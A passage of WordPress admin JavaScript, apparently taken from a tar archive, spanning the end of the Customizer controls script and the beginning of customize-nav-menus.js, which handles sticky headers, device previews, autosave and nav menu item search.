		/*
		 * Sticky header feature.
		 */
		(function initStickyHeaders() {
			var parentContainer = $( '.wp-full-overlay-sidebar-content' ),
				changeContainer, updateHeaderHeight, releaseStickyHeader, resetStickyHeader, positionStickyHeader,
				activeHeader, lastScrollTop;

			/**
			 * Determine which panel or section is currently expanded.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {wp.customize.Panel|wp.customize.Section} container Construct.
			 * @return {void}
			 */
			changeContainer = function( container ) {
				var newInstance = container,
					expandedSection = api.state( 'expandedSection' ).get(),
					expandedPanel = api.state( 'expandedPanel' ).get(),
					headerElement;

				if ( activeHeader && activeHeader.element ) {
					// Release previously active header element.
					releaseStickyHeader( activeHeader.element );

					// Remove event listener in the previous panel or section.
					activeHeader.element.find( '.description' ).off( 'toggled', updateHeaderHeight );
				}

				if ( ! newInstance ) {
					if ( ! expandedSection && expandedPanel && expandedPanel.contentContainer ) {
						newInstance = expandedPanel;
					} else if ( ! expandedPanel && expandedSection && expandedSection.contentContainer ) {
						newInstance = expandedSection;
					} else {
						activeHeader = false;
						return;
					}
				}

				headerElement = newInstance.contentContainer.find( '.customize-section-title, .panel-meta' ).first();
				if ( headerElement.length ) {
					activeHeader = {
						instance: newInstance,
						element:  headerElement,
						parent:   headerElement.closest( '.customize-pane-child' ),
						height:   headerElement.outerHeight()
					};

					// Update header height whenever help text is expanded or collapsed.
					activeHeader.element.find( '.description' ).on( 'toggled', updateHeaderHeight );

					if ( expandedSection ) {
						resetStickyHeader( activeHeader.element, activeHeader.parent );
					}
				} else {
					activeHeader = false;
				}
			};
			api.state( 'expandedSection' ).bind( changeContainer );
			api.state( 'expandedPanel' ).bind( changeContainer );

			// Throttled scroll event handler.
			parentContainer.on( 'scroll', _.throttle( function() {
				if ( ! activeHeader ) {
					return;
				}

				var scrollTop = parentContainer.scrollTop(),
					scrollDirection;

				if ( ! lastScrollTop ) {
					scrollDirection = 1;
				} else {
					if ( scrollTop === lastScrollTop ) {
						scrollDirection = 0;
					} else if ( scrollTop > lastScrollTop ) {
						scrollDirection = 1;
					} else {
						scrollDirection = -1;
					}
				}
				lastScrollTop = scrollTop;
				if ( 0 !== scrollDirection ) {
					positionStickyHeader( activeHeader, scrollTop, scrollDirection );
				}
			}, 8 ) );

			// Update header position on sidebar layout change.
			api.notifications.bind( 'sidebarTopUpdated', function() {
				if ( activeHeader && activeHeader.element.hasClass( 'is-sticky' ) ) {
					activeHeader.element.css( 'top', parentContainer.css( 'top' ) );
				}
			});

			// Release header element if it is sticky.
			releaseStickyHeader = function( headerElement ) {
				if ( ! headerElement.hasClass( 'is-sticky' ) ) {
					return;
				}
				headerElement
					.removeClass( 'is-sticky' )
					.addClass( 'maybe-sticky is-in-view' )
					.css( 'top', parentContainer.scrollTop() + 'px' );
			};

			// Reset position of the sticky header.
			resetStickyHeader = function( headerElement, headerParent ) {
				if ( headerElement.hasClass( 'is-in-view' ) ) {
					headerElement
						.removeClass( 'maybe-sticky is-in-view' )
						.css( {
							width: '',
							top:   ''
						} );
					headerParent.css( 'padding-top', '' );
				}
			};

			/**
			 * Update active header height.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @return {void}
			 */
			updateHeaderHeight = function() {
				activeHeader.height = activeHeader.element.outerHeight();
			};

			/**
			 * Reposition header on throttled `scroll` event.
			 *
			 * @since 4.7.0
			 * @access private
			 *
			 * @param {Object} header - Header.
			 * @param {number} scrollTop - Scroll top.
			 * @param {number} scrollDirection - Scroll direction, negative number being up and positive being down.
			 * @return {void}
			 */
			positionStickyHeader = function( header, scrollTop, scrollDirection ) {
				var headerElement = header.element,
					headerParent = header.parent,
					headerHeight = header.height,
					headerTop = parseInt( headerElement.css( 'top' ), 10 ),
					maybeSticky = headerElement.hasClass( 'maybe-sticky' ),
					isSticky = headerElement.hasClass( 'is-sticky' ),
					isInView = headerElement.hasClass( 'is-in-view' ),
					isScrollingUp = ( -1 === scrollDirection );

				// When scrolling down, gradually hide sticky header.
				if ( ! isScrollingUp ) {
					if ( isSticky ) {
						headerTop = scrollTop;
						headerElement
							.removeClass( 'is-sticky' )
							.css( {
								top:   headerTop + 'px',
								width: ''
							} );
					}
					if ( isInView && scrollTop > headerTop + headerHeight ) {
						headerElement.removeClass( 'is-in-view' );
						headerParent.css( 'padding-top', '' );
					}
					return;
				}

				// Scrolling up.
				if ( ! maybeSticky && scrollTop >= headerHeight ) {
					maybeSticky = true;
					headerElement.addClass( 'maybe-sticky' );
				} else if ( 0 === scrollTop ) {
					// Reset header in base position.
					headerElement
						.removeClass( 'maybe-sticky is-in-view is-sticky' )
						.css( {
							top:   '',
							width: ''
						} );
					headerParent.css( 'padding-top', '' );
					return;
				}

				if ( isInView && ! isSticky ) {
					// Header is in the view but is not yet sticky.
					if ( headerTop >= scrollTop ) {
						// Header is fully visible.
						headerElement
							.addClass( 'is-sticky' )
							.css( {
								top:   parentContainer.css( 'top' ),
								width: headerParent.outerWidth() + 'px'
							} );
					}
				} else if ( maybeSticky && ! isInView ) {
					// Header is out of the view.
					headerElement
						.addClass( 'is-in-view' )
						.css( 'top', ( scrollTop - headerHeight ) + 'px' );
					headerParent.css( 'padding-top', headerHeight + 'px' );
				}
			};
		}());

		// Previewed device bindings. (The api.previewedDevice property
		// is how this Value was first introduced, but since it has moved to api.state.)
		api.previewedDevice = api.state( 'previewedDevice' );

		// Set the default device.
		api.bind( 'ready', function() {
			_.find( api.settings.previewableDevices, function( value, key ) {
				if ( true === value['default'] ) {
					api.previewedDevice.set( key );
					return true;
				}
			} );
		} );

		// Set the toggled device.
		footerActions.find( '.devices button' ).on( 'click', function( event ) {
			api.previewedDevice.set( $( event.currentTarget ).data( 'device' ) );
		});

		// Bind device changes.
		api.previewedDevice.bind( function( newDevice ) {
			var overlay = $( '.wp-full-overlay' ),
				devices = '';

			footerActions.find( '.devices button' )
				.removeClass( 'active' )
				.attr( 'aria-pressed', false );

			footerActions.find( '.devices .preview-' + newDevice )
				.addClass( 'active' )
				.attr( 'aria-pressed', true );

			$.each( api.settings.previewableDevices, function( device ) {
				devices += ' preview-' + device;
			} );

			overlay
				.removeClass( devices )
				.addClass( 'preview-' + newDevice );
		} );

		// Bind site title display to the corresponding field.
		if ( title.length ) {
			api( 'blogname', function( setting ) {
				var updateTitle = function() {
					var blogTitle = setting() || '';
					title.text( blogTitle.toString().trim() || api.l10n.untitledBlogName );
				};
				setting.bind( updateTitle );
				updateTitle();
			} );
		}

		/*
		 * Create a postMessage connection with a parent frame,
		 * in case the Customizer frame was opened with the Customize loader.
		 *
		 * @see wp.customize.Loader
		 */
		parent = new api.Messenger({
			url: api.settings.url.parent,
			channel: 'loader'
		});

		// Handle exiting of Customizer.
		(function() {
			var isInsideIframe = false;

			function isCleanState() {
				var defaultChangesetStatus;

				/*
				 * Handle special case of previewing theme switch since some settings (for nav menus and widgets)
				 * are pre-dirty and non-active themes can only ever be auto-drafts.
				 */
				if ( ! api.state( 'activated' ).get() ) {
					return 0 === api._latestRevision;
				}

				// Dirty if the changeset status has been changed but not saved yet.
				defaultChangesetStatus = api.state( 'changesetStatus' ).get();
				if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
					defaultChangesetStatus = 'publish';
				}
				if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
					return false;
				}

				// Dirty if scheduled but the changeset date hasn't been saved yet.
				if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
					return false;
				}

				return api.state( 'saved' ).get() && 'auto-draft' !== api.state( 'changesetStatus' ).get();
			}

			/*
			 * If we receive a 'back' event, we're inside an iframe.
			 * Send any clicks to the 'Return' link to the parent page.
			 */
			parent.bind( 'back', function() {
				isInsideIframe = true;
			});

			function startPromptingBeforeUnload() {
				api.unbind( 'change', startPromptingBeforeUnload );
				api.state( 'selectedChangesetStatus' ).unbind( startPromptingBeforeUnload );
				api.state( 'selectedChangesetDate' ).unbind( startPromptingBeforeUnload );

				// Prompt user with AYS dialog if leaving the Customizer with unsaved changes.
				$( window ).on( 'beforeunload.customize-confirm', function() {
					if ( ! isCleanState() && ! api.state( 'changesetLocked' ).get() ) {
						setTimeout( function() {
							overlay.removeClass( 'customize-loading' );
						}, 1 );
						return api.l10n.saveAlert;
					}
				});
			}
			api.bind( 'change', startPromptingBeforeUnload );
			api.state( 'selectedChangesetStatus' ).bind( startPromptingBeforeUnload );
			api.state( 'selectedChangesetDate' ).bind( startPromptingBeforeUnload );

			function requestClose() {
				var clearedToClose = $.Deferred(), dismissAutoSave = false, dismissLock = false;

				if ( isCleanState() ) {
					dismissLock = true;
				} else if ( confirm( api.l10n.saveAlert ) ) {

					dismissLock = true;

					// Mark all settings as clean to prevent another call to requestChangesetUpdate.
					api.each( function( setting ) {
						setting._dirty = false;
					});
					$( document ).off( 'visibilitychange.wp-customize-changeset-update' );
					$( window ).off( 'beforeunload.wp-customize-changeset-update' );

					closeBtn.css( 'cursor', 'progress' );
					if ( '' !== api.state( 'changesetStatus' ).get() ) {
						dismissAutoSave = true;
					}
				} else {
					clearedToClose.reject();
				}

				if ( dismissLock || dismissAutoSave ) {
					wp.ajax.send( 'customize_dismiss_autosave_or_lock', {
						timeout: 500, // Don't wait too long.
						data: {
							wp_customize: 'on',
							customize_theme: api.settings.theme.stylesheet,
							customize_changeset_uuid: api.settings.changeset.uuid,
							nonce: api.settings.nonce.dismiss_autosave_or_lock,
							dismiss_autosave: dismissAutoSave,
							dismiss_lock: dismissLock
						}
					} ).always( function() {
						clearedToClose.resolve();
					} );
				}

				return clearedToClose.promise();
			}

			parent.bind( 'confirm-close', function() {
				requestClose().done( function() {
					parent.send( 'confirmed-close', true );
				} ).fail( function() {
					parent.send( 'confirmed-close', false );
				} );
			} );

			closeBtn.on( 'click.customize-controls-close', function( event ) {
				event.preventDefault();
				if ( isInsideIframe ) {
					parent.send( 'close' ); // See confirm-close logic above.
				} else {
					requestClose().done( function() {
						$( window ).off( 'beforeunload.customize-confirm' );
						window.location.href = closeBtn.prop( 'href' );
					} );
				}
			});
		})();

		// Pass events through to the parent.
		$.each( [ 'saved', 'change' ], function ( i, event ) {
			api.bind( event, function() {
				parent.send( event );
			});
		} );

		// Pass titles to the parent.
		api.bind( 'title', function( newTitle ) {
			parent.send( 'title', newTitle );
		});

		if ( api.settings.changeset.branching ) {
			parent.send( 'changeset-uuid', api.settings.changeset.uuid );
		}

		// Initialize the connection with the parent frame.
		parent.send( 'ready' );

		// Control visibility for default controls.
		$.each({
			'background_image': {
				controls: [ 'background_preset', 'background_position', 'background_size', 'background_repeat', 'background_attachment' ],
				callback: function( to ) { return !! to; }
			},
			'show_on_front': {
				controls: [ 'page_on_front', 'page_for_posts' ],
				callback: function( to ) { return 'page' === to; }
			},
			'header_textcolor': {
				controls: [ 'header_textcolor' ],
				callback: function( to ) { return 'blank' !== to; }
			}
		}, function( settingId, o ) {
			api( settingId, function( setting ) {
				$.each( o.controls, function( i, controlId ) {
					api.control( controlId, function( control ) {
						var visibility = function( to ) {
							control.container.toggle( o.callback( to ) );
						};

						visibility( setting.get() );
						setting.bind( visibility );
					});
				});
			});
		});

		api.control( 'background_preset', function( control ) {
			var visibility, defaultValues, values, toggleVisibility, updateSettings, preset;

			visibility = { // position, size, repeat, attachment.
				'default': [ false, false, false, false ],
				'fill': [ true, false, false, false ],
				'fit': [ true, false, true, false ],
				'repeat': [ true, false, false, true ],
				'custom': [ true, true, true, true ]
			};

			defaultValues = [
				_wpCustomizeBackground.defaults['default-position-x'],
				_wpCustomizeBackground.defaults['default-position-y'],
				_wpCustomizeBackground.defaults['default-size'],
				_wpCustomizeBackground.defaults['default-repeat'],
				_wpCustomizeBackground.defaults['default-attachment']
			];

			values = { // position_x, position_y, size, repeat, attachment.
				'default': defaultValues,
				'fill': [ 'left', 'top', 'cover', 'no-repeat', 'fixed' ],
				'fit': [ 'left', 'top', 'contain', 'no-repeat', 'fixed' ],
				'repeat': [ 'left', 'top', 'auto', 'repeat', 'scroll' ]
			};

			// @todo These should actually toggle the active state,
			// but without the preview overriding the state in data.activeControls.
			toggleVisibility = function( preset ) {
				_.each( [ 'background_position', 'background_size', 'background_repeat', 'background_attachment' ], function( controlId, i ) {
					var control = api.control( controlId );
					if ( control ) {
						control.container.toggle( visibility[ preset ][ i ] );
					}
				} );
			};

			updateSettings = function( preset ) {
				_.each( [ 'background_position_x', 'background_position_y', 'background_size', 'background_repeat', 'background_attachment' ], function( settingId, i ) {
					var setting = api( settingId );
					if ( setting ) {
						setting.set( values[ preset ][ i ] );
					}
				} );
			};

			preset = control.setting.get();
			toggleVisibility( preset );

			control.setting.bind( 'change', function( preset ) {
				toggleVisibility( preset );
				if ( 'custom' !== preset ) {
					updateSettings( preset );
				}
			} );
		} );

		api.control( 'background_repeat', function( control ) {
			control.elements[0].unsync( api( 'background_repeat' ) );

			control.element = new api.Element( control.container.find( 'input' ) );
			control.element.set( 'no-repeat' !== control.setting() );

			control.element.bind( function( to ) {
				control.setting.set( to ? 'repeat' : 'no-repeat' );
			} );

			control.setting.bind( function( to ) {
				control.element.set( 'no-repeat' !== to );
			} );
		} );

		api.control( 'background_attachment', function( control ) {
			control.elements[0].unsync( api( 'background_attachment' ) );

			control.element = new api.Element( control.container.find( 'input' ) );
			control.element.set( 'fixed' !== control.setting() );

			control.element.bind( function( to ) {
				control.setting.set( to ? 'scroll' : 'fixed' );
			} );

			control.setting.bind( function( to ) {
				control.element.set( 'fixed' !== to );
			} );
		} );

		// Juggle the two controls that use header_textcolor.
		api.control( 'display_header_text', function( control ) {
			var last = '';

			control.elements[0].unsync( api( 'header_textcolor' ) );

			control.element = new api.Element( control.container.find('input') );
			control.element.set( 'blank' !== control.setting() );

			control.element.bind( function( to ) {
				if ( ! to ) {
					last = api( 'header_textcolor' ).get();
				}

				control.setting.set( to ? last : 'blank' );
			});

			control.setting.bind( function( to ) {
				control.element.set( 'blank' !== to );
			});
		});

		// Add behaviors to the static front page controls.
		api( 'show_on_front', 'page_on_front', 'page_for_posts', function( showOnFront, pageOnFront, pageForPosts ) {
			var handleChange = function() {
				var setting = this, pageOnFrontId, pageForPostsId, errorCode = 'show_on_front_page_collision';
				pageOnFrontId = parseInt( pageOnFront(), 10 );
				pageForPostsId = parseInt( pageForPosts(), 10 );

				if ( 'page' === showOnFront() ) {

					// Change previewed URL to the homepage when changing the page_on_front.
					if ( setting === pageOnFront && pageOnFrontId > 0 ) {
						api.previewer.previewUrl.set( api.settings.url.home );
					}

					// Change the previewed URL to the selected page when changing the page_for_posts.
					if ( setting === pageForPosts && pageForPostsId > 0 ) {
						api.previewer.previewUrl.set( api.settings.url.home + '?page_id=' + pageForPostsId );
					}
				}

				// Toggle notification when the homepage and posts page are both set and the same.
				if ( 'page' === showOnFront() && pageOnFrontId && pageForPostsId && pageOnFrontId === pageForPostsId ) {
					showOnFront.notifications.add( new api.Notification( errorCode, {
						type: 'error',
						message: api.l10n.pageOnFrontError
					} ) );
				} else {
					showOnFront.notifications.remove( errorCode );
				}
			};
			showOnFront.bind( handleChange );
			pageOnFront.bind( handleChange );
			pageForPosts.bind( handleChange );
			handleChange.call( showOnFront, showOnFront() ); // Make sure initial notification is added after loading existing changeset.

			// Move notifications container to the bottom.
			api.control( 'show_on_front', function( showOnFrontControl ) {
				showOnFrontControl.deferred.embedded.done( function() {
					showOnFrontControl.container.append( showOnFrontControl.getNotificationsContainerElement() );
				});
			});
		});

		// Add code editor for Custom CSS.
		(function() {
			var sectionReady = $.Deferred();

			api.section( 'custom_css', function( section ) {
				section.deferred.embedded.done( function() {
					if ( section.expanded() ) {
						sectionReady.resolve( section );
					} else {
						section.expanded.bind( function( isExpanded ) {
							if ( isExpanded ) {
								sectionReady.resolve( section );
							}
						} );
					}
				});
			});

			// Set up the section description behaviors.
			sectionReady.done( function setupSectionDescription( section ) {
				var control = api.control( 'custom_css' );

				// Hide redundant label for visual users.
				control.container.find( '.customize-control-title:first' ).addClass( 'screen-reader-text' );

				// Close the section description when clicking the close button.
				section.container.find( '.section-description-buttons .section-description-close' ).on( 'click', function() {
					section.container.find( '.section-meta .customize-section-description:first' )
						.removeClass( 'open' )
						.slideUp();

					section.container.find( '.customize-help-toggle' )
						.attr( 'aria-expanded', 'false' )
						.focus(); // Avoid focus loss.
				});

				// Reveal help text if setting is empty.
				if ( control && ! control.setting.get() ) {
					section.container.find( '.section-meta .customize-section-description:first' )
						.addClass( 'open' )
						.show()
						.trigger( 'toggled' );

					section.container.find( '.customize-help-toggle' ).attr( 'aria-expanded', 'true' );
				}
			});
		})();

		// Toggle visibility of Header Video notice when active state change.
		api.control( 'header_video', function( headerVideoControl ) {
			headerVideoControl.deferred.embedded.done( function() {
				var toggleNotice = function() {
					var section = api.section( headerVideoControl.section() ), noticeCode = 'video_header_not_available';
					if ( ! section ) {
						return;
					}
					if ( headerVideoControl.active.get() ) {
						section.notifications.remove( noticeCode );
					} else {
						section.notifications.add( new api.Notification( noticeCode, {
							type: 'info',
							message: api.l10n.videoHeaderNotice
						} ) );
					}
				};
				toggleNotice();
				headerVideoControl.active.bind( toggleNotice );
			} );
		} );

		// Update the setting validities.
		api.previewer.bind( 'selective-refresh-setting-validities', function handleSelectiveRefreshedSettingValidities( settingValidities ) {
			api._handleSettingValidities( {
				settingValidities: settingValidities,
				focusInvalidControl: false
			} );
		} );

		// Focus on the control that is associated with the given setting.
		api.previewer.bind( 'focus-control-for-setting', function( settingId ) {
			var matchedControls = [];
			api.control.each( function( control ) {
				var settingIds = _.pluck( control.settings, 'id' );
				if ( -1 !== _.indexOf( settingIds, settingId ) ) {
					matchedControls.push( control );
				}
			} );

			// Focus on the matched control with the lowest priority (appearing higher).
			if ( matchedControls.length ) {
				matchedControls.sort( function( a, b ) {
					return a.priority() - b.priority();
				} );
				matchedControls[0].focus();
			}
		} );

		// Refresh the preview when it requests.
		api.previewer.bind( 'refresh', function() {
			api.previewer.refresh();
		});

		// Update the edit shortcut visibility state.
		api.state( 'paneVisible' ).bind( function( isPaneVisible ) {
			var isMobileScreen;
			if ( window.matchMedia ) {
				isMobileScreen = window.matchMedia( 'screen and ( max-width: 640px )' ).matches;
			} else {
				isMobileScreen = $( window ).width() <= 640;
			}
			api.state( 'editShortcutVisibility' ).set( isPaneVisible || isMobileScreen ? 'visible' : 'hidden' );
		} );
		if ( window.matchMedia ) {
			window.matchMedia( 'screen and ( max-width: 640px )' ).addListener( function() {
				var state = api.state( 'paneVisible' );
				state.callbacks.fireWith( state, [ state.get(), state.get() ] );
			} );
		}
		api.previewer.bind( 'edit-shortcut-visibility', function( visibility ) {
			api.state( 'editShortcutVisibility' ).set( visibility );
		} );
		api.state( 'editShortcutVisibility' ).bind( function( visibility ) {
			api.previewer.send( 'edit-shortcut-visibility', visibility );
		} );

		// Autosave changeset.
		function startAutosaving() {
			var timeoutId, updateChangesetWithReschedule, scheduleChangesetUpdate, updatePending = false;

			api.unbind( 'change', startAutosaving ); // Ensure startAutosaving only fires once.

			function onChangeSaved( isSaved ) {
				if ( ! isSaved && ! api.settings.changeset.autosaved ) {
					api.settings.changeset.autosaved = true; // Once a change is made then autosaving kicks in.
					api.previewer.send( 'autosaving' );
				}
			}
			api.state( 'saved' ).bind( onChangeSaved );
			onChangeSaved( api.state( 'saved' ).get() );

			/**
			 * Request changeset update and then re-schedule the next changeset update time.
			 *
			 * @since 4.7.0
			 * @private
			 */
			updateChangesetWithReschedule = function() {
				if ( ! updatePending ) {
					updatePending = true;
					api.requestChangesetUpdate( {}, { autosave: true } ).always( function() {
						updatePending = false;
					} );
				}
				scheduleChangesetUpdate();
			};

			/**
			 * Schedule changeset update.
			 *
			 * @since 4.7.0
			 * @private
			 */
			scheduleChangesetUpdate = function() {
				clearTimeout( timeoutId );
				timeoutId = setTimeout( function() {
					updateChangesetWithReschedule();
				}, api.settings.timeouts.changesetAutoSave );
			};

			// Start auto-save interval for updating changeset.
			scheduleChangesetUpdate();

			// Save changeset when focus removed from window.
			$( document ).on( 'visibilitychange.wp-customize-changeset-update', function() {
				if ( document.hidden ) {
					updateChangesetWithReschedule();
				}
			} );

			// Save changeset before unloading window.
			$( window ).on( 'beforeunload.wp-customize-changeset-update', function() {
				updateChangesetWithReschedule();
			} );
		}
		api.bind( 'change', startAutosaving );

		// Make sure TinyMCE dialogs appear above Customizer UI.
		$( document ).one( 'tinymce-editor-setup', function() {
			if ( window.tinymce.ui.FloatPanel && ( ! window.tinymce.ui.FloatPanel.zIndex || window.tinymce.ui.FloatPanel.zIndex < 500001 ) ) {
				window.tinymce.ui.FloatPanel.zIndex = 500001;
			}
		} );

		body.addClass( 'ready' );
		api.trigger( 'ready' );
	});

})( wp, jQuery );
customize-nav-menus.js000064400000323642150276633110011051 0ustar00/**
 * @output wp-admin/js/customize-nav-menus.js
 */

/* global _wpCustomizeNavMenusSettings, wpNavMenu, console */
( function( api, wp, $ ) {
	'use strict';

	/**
	 * Set up wpNavMenu for drag and drop.
	 */
	wpNavMenu.originalInit = wpNavMenu.init;
	wpNavMenu.options.menuItemDepthPerLevel = 20;
	wpNavMenu.options.sortableItems         = '> .customize-control-nav_menu_item';
	wpNavMenu.options.targetTolerance       = 10;
	wpNavMenu.init = function() {
		this.jQueryExtensions();
	};

	/**
	 * @namespace wp.customize.Menus
	 */
	api.Menus = api.Menus || {};

	// Link settings.
	api.Menus.data = {
		itemTypes: [],
		l10n: {},
		settingTransport: 'refresh',
		phpIntMax: 0,
		defaultSettingValues: {
			nav_menu: {},
			nav_menu_item: {}
		},
		locationSlugMappedToName: {}
	};
	if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) {
		$.extend( api.Menus.data, _wpCustomizeNavMenusSettings );
	}

	/**
	 * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which
	 * serve as placeholders until Save & Publish happens.
	 *
	 * @alias wp.customize.Menus.generatePlaceholderAutoIncrementId
	 *
	 * @return {number}
	 */
	api.Menus.generatePlaceholderAutoIncrementId = function() {
		return -Math.ceil( api.Menus.data.phpIntMax * Math.random() );
	};

	/**
	 * wp.customize.Menus.AvailableItemModel
	 *
	 * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class.
	 *
	 * @class    wp.customize.Menus.AvailableItemModel
	 * @augments Backbone.Model
	 */
	api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend(
		{
			id: null // This is only used by Backbone.
		},
		api.Menus.data.defaultSettingValues.nav_menu_item
	) );

	/**
	 * wp.customize.Menus.AvailableItemCollection
	 *
	 * Collection for available menu item models.
	 *
	 * @class    wp.customize.Menus.AvailableItemCollection
	 * @augments Backbone.Collection
	 */
	api.Menus.AvailableItemCollection = Backbone.Collection.extend(/** @lends wp.customize.Menus.AvailableItemCollection.prototype */{
		model: api.Menus.AvailableItemModel,

		sort_key: 'order',

		comparator: function( item ) {
			return -item.get( this.sort_key );
		},

		sortByField: function( fieldName ) {
			this.sort_key = fieldName;
			this.sort();
		}
	});
	api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems );

	/**
	 * Insert a new `auto-draft` post.
	 *
	 * @since 4.7.0
	 * @alias wp.customize.Menus.insertAutoDraftPost
	 *
	 * @param {Object} params - Parameters for the draft post to create.
	 * @param {string} params.post_type - Post type to add.
	 * @param {string} params.post_title - Post title to use.
	 * @return {jQuery.promise} Promise resolved with the added post.
	 */
	api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) {
		var request, deferred = $.Deferred();

		request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', {
			'customize-menus-nonce': api.settings.nonce['customize-menus'],
			'wp_customize': 'on',
			'customize_changeset_uuid': api.settings.changeset.uuid,
			'params': params
		} );

		request.done( function( response ) {
			if ( response.post_id ) {
				api( 'nav_menus_created_posts' ).set(
					api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] )
				);

				if ( 'page' === params.post_type ) {

					// Activate static front page controls as this could be the first page created.
					if ( api.section.has( 'static_front_page' ) ) {
						api.section( 'static_front_page' ).activate();
					}

					// Add new page to dropdown-pages controls.
					api.control.each( function( control ) {
						var select;
						if ( 'dropdown-pages' === control.params.type ) {
							select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' );
							select.append( new Option( params.post_title, response.post_id ) );
						}
					} );
				}
				deferred.resolve( response );
			}
		} );

		request.fail( function( response ) {
			var error = response || '';

			if ( 'undefined' !== typeof response.message ) {
				error = response.message;
			}

			console.error( error );
			deferred.rejectWith( error );
		} );

		return deferred.promise();
	};

	api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Menus.AvailableMenuItemsPanelView.prototype */{

		el: '#available-menu-items',

		events: {
			'input #menu-items-search': 'debounceSearch',
			'focus .menu-item-tpl': 'focus',
			'click .menu-item-tpl': '_submit',
			'click #custom-menu-item-submit': '_submitLink',
			'keypress #custom-menu-item-name': '_submitLink',
			'click .new-content-item .add-content': '_submitNew',
			'keypress .create-item-input': '_submitNew',
			'keydown': 'keyboardAccessible'
		},

		// Cache current selected menu item.
		selected: null,

		// Cache menu control that opened the panel.
		currentMenuControl: null,
		debounceSearch: null,
		$search: null,
		$clearResults: null,
		searchTerm: '',
		rendered: false,
		pages: {},
		sectionContent: '',
		loading: false,
		addingNew: false,

		/**
		 * wp.customize.Menus.AvailableMenuItemsPanelView
		 *
		 * View class for the available menu items panel.
		 *
		 * @constructs wp.customize.Menus.AvailableMenuItemsPanelView
		 * @augments   wp.Backbone.View
		 */
		initialize: function() {
			var self = this;

			if ( ! api.panel.has( 'nav_menus' ) ) {
				return;
			}

			this.$search = $( '#menu-items-search' );
			this.$clearResults = this.$el.find( '.clear-results' );
			this.sectionContent = this.$el.find( '.available-menu-items-list' );

			this.debounceSearch = _.debounce( self.search, 500 );

			_.bindAll( this, 'close' );

			/*
			 * If the available menu items panel is open and the customize controls
			 * are interacted with (other than an item being deleted), then close
			 * the available menu items panel. Also close on back button click.
			 */
			$( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) {
				var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
					isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
				if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
					self.close();
				}
			} );

			// Clear the search results and trigger an `input` event to fire a new search.
			this.$clearResults.on( 'click', function() {
				self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' );
			} );

			this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() {
				$( this ).removeClass( 'invalid' );
			});

			// Load available items if it looks like we'll need them.
			api.panel( 'nav_menus' ).container.on( 'expanded', function() {
				if ( ! self.rendered ) {
					self.initList();
					self.rendered = true;
				}
			});

			// Load more items.
			this.sectionContent.on( 'scroll', function() {
				var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ),
					visibleHeight = self.$el.find( '.accordion-section.open' ).height();

				if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) {
					var type = $( this ).data( 'type' ),
						object = $( this ).data( 'object' );

					if ( 'search' === type ) {
						if ( self.searchTerm ) {
							self.doSearch( self.pages.search );
						}
					} else {
						self.loadItems( [
							{ type: type, object: object }
						] );
					}
				}
			});

			// Close the panel if the URL in the preview changes.
			api.previewer.bind( 'url', this.close );

			self.delegateEvents();
		},

		// Search input change handler.
		search: function( event ) {
			var $searchSection = $( '#available-menu-items-search' ),
				$otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection );

			if ( ! event ) {
				return;
			}

			if ( this.searchTerm === event.target.value ) {
				return;
			}

			if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) {
				$otherSections.fadeOut( 100 );
				$searchSection.find( '.accordion-section-content' ).slideDown( 'fast' );
				$searchSection.addClass( 'open' );
				this.$clearResults.addClass( 'is-visible' );
			} else if ( '' === event.target.value ) {
				$searchSection.removeClass( 'open' );
				$otherSections.show();
				this.$clearResults.removeClass( 'is-visible' );
			}

			this.searchTerm = event.target.value;
			this.pages.search = 1;
			this.doSearch( 1 );
		},

		// Get search results.
		doSearch: function( page ) {
			var self = this, params,
				$section = $( '#available-menu-items-search' ),
				$content = $section.find( '.accordion-section-content' ),
				itemTemplate = wp.template( 'available-menu-item' );

			if ( self.currentRequest ) {
				self.currentRequest.abort();
			}

			if ( page < 0 ) {
				return;
			} else if ( page > 1 ) {
				$section.addClass( 'loading-more' );
				$content.attr( 'aria-busy', 'true' );
				wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore );
			} else if ( '' === self.searchTerm ) {
				$content.html( '' );
				wp.a11y.speak( '' );
				return;
			}

			$section.addClass( 'loading' );
			self.loading = true;

			params = api.previewer.query( { excludeCustomizedSaved: true } );
			_.extend( params, {
				'customize-menus-nonce': api.settings.nonce['customize-menus'],
				'wp_customize': 'on',
				'search': self.searchTerm,
				'page': page
			} );

			self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params );

			self.currentRequest.done(function( data ) {
				var items;
				if ( 1 === page ) {
					// Clear previous results as it's a new search.
					$content.empty();
				}
				$section.removeClass( 'loading loading-more' );
				$content.attr( 'aria-busy', 'false' );
				$section.addClass( 'open' );
				self.loading = false;
				items = new api.Menus.AvailableItemCollection( data.items );
				self.collection.add( items.models );
				items.each( function( menuItem ) {
					$content.append( itemTemplate( menuItem.attributes ) );
				} );
				if ( 20 > items.length ) {
					self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either.
				} else {
					self.pages.search = self.pages.search + 1;
